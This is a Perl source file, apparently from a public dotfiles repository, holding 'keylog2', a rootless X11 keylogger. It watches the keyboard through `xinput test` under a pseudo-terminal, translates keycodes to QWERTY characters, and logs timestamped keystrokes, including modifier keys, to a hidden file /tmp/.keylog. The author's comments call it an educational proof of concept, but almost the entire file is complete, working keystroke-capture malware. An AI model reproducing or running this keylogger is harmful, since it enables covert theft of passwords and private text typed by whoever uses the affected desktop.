My old shell scripts that have been retired from my dotfiles.
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

292 lines
6.5 KiB

#!/usr/bin/perl -w
# keylog2 - a rootless keylogger that only requires an X server and the xinput
# command (provided by xorg-x11-apps on Fedora). You'll also need to install
# the Perl module IO::Pty::Easy.
#
# Unlike my first keylogger proof-of-concept, this one doesn't require root
# privileges because it just uses the X Window System. Therefore it only
# catches key inputs made to graphical programs on the same X server that the
# keylogger runs on.
#
# How it works: running `xinput list` lists all your X input devices. There's
# a keyboard device named "AT (something)", mine is "AT Translated Set 2
# keyboard". Get the ID from the line that says this and then run
# `xinput test <id>` and it will start dumping keystroke information as the
# user types keys into ANY graphical app.
#
# I mapped the QWERTY keyboard set using my own keyboard by trial-and-error,
# so no guarantees it will work for everybody. This is just another proof of
# concept anyway, and shouldn't be used for malicious purposes.
#
# Under the default configuration, the log file is written to /tmp/.keylog
# and only logs key release events, except for modifier keys (Shift, Ctrl,
# Alt, and Super (Windows key)) where it will also log the Key Down event
# (so Alt-Tabbing makes more sense in the log, for example). You can
# optionally configure it to log EVERY key down event if you'd like, though.
#
# Again, this is just a proof of concept and should be used for educational
# purposes only, and not for anything malicious.
#
# --Kirsle
# http://sh.kirsle.net/
use strict;
use warnings;
use IO::Pty::Easy;
use IO::Handle;
##########################
# Configuration #
##########################
my $conf = {
# Log files to write keys to
logfile => "/tmp/.keylog",
# By default only key-releases are logged. Log key-presses too?
log_keydown => 0,
};
##########################
# End Configuration #
##########################
# X11 display.
$ENV{DISPLAY} ||= ":0.0";
# Make sure we have xinput.
if (system("which xinput > /dev/null") != 0) {
print "You require the `xinput` command for this keylogger to work.\n";
exit(1);
}
# Get the input list.
my @inputs = `xinput list`;
# Find the AT keyboard.
my $id;
foreach my $line (@inputs) {
$line =~ s/^[\s\t]+//g;
$line =~ s/[\s\t]+$//g;
$line =~ s/[\x0D\x0A]+//g;
next unless length $line;
if ($line =~ /keyboard/i && $line =~ /. AT/) {
($id) = ($line =~ /id=(\d+)/)[0];
}
}
if (!defined $id) {
print "Failed to find \"AT\" keyboard ID from `xinput list`!\n";
exit(1);
}
print "Keyboard ID: $id\n";
# Track state of modifier keys.
our %mod = (
'shift' => 0,
'ctrl' => 0,
'alt' => 0,
'super' => 0,
);
# Begin watching. Make a pseudo TTY for this so xinput believes we're a shell.
my $tty = IO::Pty::Easy->new();
print "Watching `xinput test $id`\n";
$tty->spawn("xinput test $id");
while ($tty->is_active) {
my $data = $tty->read();
my @lines = split(/\n/, $data);
foreach my $line (@lines) {
# Key event?
chomp $line;
if ($line =~ /^key\s+(press|release)\s+(\d+)\s*?$/i) {
event($1, $2);
}
}
}
# Handle key events
sub event {
my ($event,$sym) = @_;
# Only QWERTY keyboards supported.
my $key = kbd_qwerty($event,$sym);
print "[$sym] $event: " . ($key eq " " ? "{space}" : $key) . "\n";
# Log it?
if ($event eq "release" || ($event eq "press" && $conf->{log_keydown}) ||
($key =~ /^\{(Shift|Ctrl|Alt|Super)\}$/)) {
my @time = localtime(time());
my $ts = join(" ",
join("-",
sprintf("%4d", $time[5] + 1900),
sprintf("%2d", $time[4] + 1),
sprintf("%2d", $time[3]),
),
join(":",
sprintf("%2d", $time[2]),
sprintf("%2d", $time[1]),
sprintf("%2d", $time[0]),
),
);
open (my $log, ">>", $conf->{logfile});
print $log "[$ts] "
. ($event eq "release" ? "<Release>" : "<Press>")
. " "
. ($key eq " " ? "{space}" : $key)
. "\n";
close ($log);
}
}
# QWERTY keysym finder
sub kbd_qwerty {
my ($event,$sym) = @_;
# Modifier keys.
my %modkeys = (
50 => 'shift', # L Shift
62 => 'shift', # R Shift
37 => 'ctrl', # L Ctrl
105 => 'ctrl', # R Ctrl
64 => 'alt', # L Alt
108 => 'alt', # R Alt
133 => 'super', # L Super
);
if (exists $modkeys{$sym}) {
my $name = $modkeys{$sym};
$mod{$name} = $event eq "press" ? 1 : 0;
return "{\u$name}";
}
# Qwerty keys.
my %keys = (
# qwerty row
24 => [ 'q', 'Q' ], # normal, shift key
25 => [ 'w', 'W' ],
26 => [ 'e', 'E' ],
27 => [ 'r', 'R' ],
28 => [ 't', 'T' ],
29 => [ 'y', 'Y' ],
30 => [ 'u', 'U' ],
31 => [ 'i', 'I' ],
32 => [ 'o', 'O' ],
33 => [ 'p', 'P' ],
34 => [ '[', '{' ],
35 => [ ']', '}' ],
51 => [ "\\", '|' ],
# asdf row
38 => [ 'a', 'A' ],
39 => [ 's', 'S' ],
40 => [ 'd', 'D' ],
41 => [ 'f', 'F' ],
42 => [ 'g', 'G' ],
43 => [ 'h', 'H' ],
44 => [ 'j', 'J' ],
45 => [ 'k', 'K' ],
46 => [ 'l', 'L' ],
47 => [ ';', ':' ],
48 => [ '"', "'" ],
36 => "{Return}",
# zxcv row
52 => [ 'z', 'Z' ],
53 => [ 'x', 'X' ],
54 => [ 'c', 'C' ],
55 => [ 'v', 'V' ],
56 => [ 'b', 'B' ],
57 => [ 'n', 'N' ],
58 => [ 'm', 'M' ],
59 => [ ',', '<' ],
60 => [ '.', '>' ],
61 => [ '/', '?' ],
# number row
49 => [ '`', '~' ],
10 => [ '1', '!' ],
11 => [ '2', '@' ],
12 => [ '3', '#' ],
13 => [ '4', '$' ],
14 => [ '5', '%' ],
15 => [ '6', '^' ],
16 => [ '7', '&' ],
17 => [ '8', '*' ],
18 => [ '9', '(' ],
19 => [ '0', ')' ],
20 => [ '-', '_' ],
21 => [ '+', '=' ],
# space bar
65 => ' ',
# number pad
90 => '{Num-0}',
87 => '{Num-1}',
88 => '{Num-2}',
89 => '{Num-3}',
83 => '{Num-4}',
84 => '{Num-5}',
85 => '{Num-6}',
79 => '{Num-7}',
80 => '{Num-8}',
81 => '{Num-9}',
106 => '{Num-/}',
63 => '{Num-*}',
82 => '{Num--}',
86 => '{Num-+}',
# F keys
67 => '{F1}',
68 => '{F2}',
69 => '{F3}',
70 => '{F4}',
71 => '{F5}',
72 => '{F6}',
73 => '{F7}',
74 => '{F8}',
75 => '{F9}',
76 => '{F10}',
95 => '{F11}',
96 => '{F12}',
# Misc
9 => '{Esc}',
22 => '{Backspace}',
77 => '{Num Lock}',
107 => '{Print Scr}',
118 => '{Insert}',
119 => '{Delete}',
110 => '{Home}',
112 => '{Pg Up}',
117 => '{Pg Dn}',
115 => '{End}',
111 => '{Up}',
116 => '{Down}',
113 => '{Left}',
114 => '{Right}',
135 => '{Menu}',
23 => '{Tab}',
66 => '{Caps Lock}',
);
if (exists $keys{$sym}) {
if (ref($keys{$sym})) {
print "(shift key: $mod{shift})\n";
if ($mod{shift}) {
return $keys{$sym}->[1];
}
else {
return $keys{$sym}->[0];
}
}
return $keys{$sym};
}
else {
return "{Unknown: $sym}";
}
}